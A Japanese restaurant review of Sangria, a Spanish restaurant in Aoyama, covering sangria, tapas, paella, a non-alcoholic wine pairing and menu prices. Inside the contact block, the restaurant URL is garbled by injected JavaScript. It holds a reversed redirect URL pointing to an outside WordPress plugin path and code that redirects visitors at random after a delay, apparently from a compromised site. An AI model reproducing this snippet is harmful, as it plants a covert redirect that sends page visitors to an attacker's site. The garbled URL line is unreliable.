【SPANISH RESTAURANT サングリア 青山店】サングリアやパエリアで気分はスペイン!~MELLOWなレストランvol.2~
一歩入ると、ここはスペイン
最近、街で「スペイン・バル」のお店はよく見かけるようになりましたが、純粋に「スペイン料理」と看板を上げているお店はあまりありません。イタリアに近いけれど、似た感じのお料理なのか? 地中海があるけれど、シーフードも食べるのか? 期待感が高まります。
サングリアは、表参道駅からすぐのお店。ビルの2階なのですが、階段から既に南欧風のタイルが貼られていて、スペインにいざなわれます。 鉄製のワインラックにワインが並んでいたり、カラフルな食器や食材、調味料が販売されていたり、キョロキョロと目を奪われながら席に案内されます。途中、並んですわれる2人席もいすが革張りだったり、グループでの食事にちょうどいい個室があったり。そして通されたのは、4人掛けのソファーの個室で、ここならまわりが気にならずおしゃべりも楽しめます。
ソファーでくつろいで食事できる4人用の個室
ワインコレクションの中にデュク・ドゥ・モンターニュも
乾杯はサングリアで
まず飲み物を選びますが、ここはお店の名前にもなっているサングリアを試してみたいですね。
サングリアは、赤または白のワインにフルーツを入れたスペインの飲み物で、さわやかで飲みやすいので家庭で作って常にあることが多い、スペイン人に愛されているドリンク。お店もそんな存在になりたい、という願いで「サングリア」とつけたのだそうです。
ここのサングリアは、フルーツはりんご、レモン、オレンジを使い、少し炭酸で割っています。 まず、乾杯。スペイン語では「サル-!」。
フルーツの香りがよくて、少し甘みがあって、飲みやすいです。氷で冷えているし、かわいいデキャンタで出てくるし、これにはつい誘われて、飲み過ぎてしまいそう。 でもこれ、ベースはワインですから調子に乗って飲み過ぎると、せっかくのお料理があまり食べられなくなってしまうかも。注意、注意。
サングリアワインは、グラス、ハーフデキャンタ、レギュラーデキャンタの3サイズから選べる(写真はハーフデキャンタ)
メニューは写真入りで、「タパス」と呼ばれるスペインの小皿料理が約60種類も出ていて、目移りします。コース料理もあるのですが、ここはやっぱり自分で選びたい、ということで、「これ、おいしそう」「こっちも食べてみたい」と盛り上がりながらのチョイスも楽しいですね。
決めたのは、
・ブルービートス(イカの墨煮)
・ガーリックチキン
・海老のカタラン風
・ムール貝のワイン蒸し
・魚介のミックスパエリア
の5皿。シーフード中心にしてみました。
というのは、サングリアは元々40年前に静岡で開業して、青山のお店は2013年に初の東京出店ということでオープンしたもの。だから、魚介類は静岡から新鮮なものを取り寄せているのが特徴なんです。
ちなみに、牛肉も静岡産のもの。豚肉は静岡麦豚とイベリコ豚を使っているそうです。
ガーリックとオリーブオイルが引き出す素材の味
一皿目は、「ブルービートス」。イカの墨煮ですが、イカの火の通り具合がちょうどよくて柔らかく、イカ墨のソースにコクがあって、口のまわりが黒くなるのも恐れずにフランスパンでお皿をきれいに拭って残さずいただいちゃいました。
ブルービートスはイカの旨みがソースにとけていてほっぺが落ちそう
サングリアもなくなったので、飲み物をワインに。お店自体はスペインワインのコレクションが充実しているのですが、ここからはノンアルコールワインにします。
白のスパークリングワイン「デュク・ドゥ・モンターニュ」です。 ちょうど出てきたのが「ガーリックチキン」で、ワインなら赤ワインが合うと言われそうなところですが、デュク・ドゥ・モンターニュは甘くないのでお料理の味を邪魔しないし、それでいてガーリックの香りや鶏のコクをサラッと和らげてくれるので、食事が進みます。お料理を口にして、一口飲んで、またフォーク、と繰り返していても、飲み過ぎて知らないうちに酔ってしまう心配のないところが、ノンアルコールワインは安心ですね。
しっかりボリューム感もあるガーリックチキン
スペイン料理にも寄り添うノンアルコール・スパークリングワイン
「海老のカタラン風」は、見た目に派手さはないのですが、海老の出汁がたっぷりのソースがとてもいいお味。作り方を聞かなかったのですが、きっと海老の殻でしっかりスープをとって、生クリームで仕上げているのではないでしょうか。家でもまねして作ってみたい一品でした。
海老をスペイン風にするとこうなるか!と唸る
少し重めのお料理が続いたところで、「ムール貝のワイン蒸し」。ムール貝の旨みがしっかり出たワインのスープがおいしくて、会席料理の最後の方にお清ましが出てきたような、ホッとする感じがありました。
シンプルにムール貝を蒸し上げている
そしてシメはやっぱり「パエリア」
普通パエリアは専用の平たいお鍋で、下からの火で炊きあげるのですが、サングリアでは一度炊きあがったものをさらにオーブンで加熱して、ふっくらと仕上げるそうです。そんな工程もあるので、注文してから30分ほど必要。最初に決めておいた方がいいですね。 イベリコ豚とマッシュルーム、静岡麦豚とチョリソー、イカ墨などがありますが、いちばん人気なのは魚介のミックスパエリアだそうです。
贅沢にのった魚介類の旨みがごはんにしみ込んで、またそのごはんが少し香ばしくおこげになっていたりして、これはもう、ごはんの国の住人を間違いなく喜ばせるスペイン料理ですね。
スペイン・バレンシア地方の郷土料理のパエリア
お料理全体にガーリックとオリーブオイルが利いていて、その香りが食欲を誘ってきます。そして味わってみると素材の旨みがしっかり出ているという、心憎いお料理たちでした。 カップル席でスペインの雰囲気を楽しみながら食事するのもいいですが、4人以上のグループでいろいろなタパスをシェアしながら食べるのが楽しいと思われるお店でした。
店長 本多太久士さんから
お出しするお料理も新鮮な食材を生かした本格的なスペイン料理なのですが、店の内装や飾ってある小物などでスペインを感じていただけます。時には、生ギターの演奏やフラメンコショーといったイベントもやっています。
SPANISH RESTAURANT サングリア 青山店
MENU
ガーリックチキン 1100円
ブルービートス(イカの墨煮) 1050円
魚介のミッックスパエリア(2人前) 2600円
コースはバレンシアコース 3600円~(2名~)
※別途消費税がかかります
INFOMATION
TEL:03-3478-2001
住所:港区北青山3-5-14 青山鈴木硝子ビル2F
営業時間:11:00~24:00 無休
地下鉄「表参道駅」から徒歩3分
http://aoyama-sangria.jimtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do.com/None
レストラン・卸・小売オーナー様へ
MELLOW(メロウ)でご紹介しているノンアルコールワインを、
ご自身のお店で提供してみませんか?本物の味わいに、きっとご満足頂けます。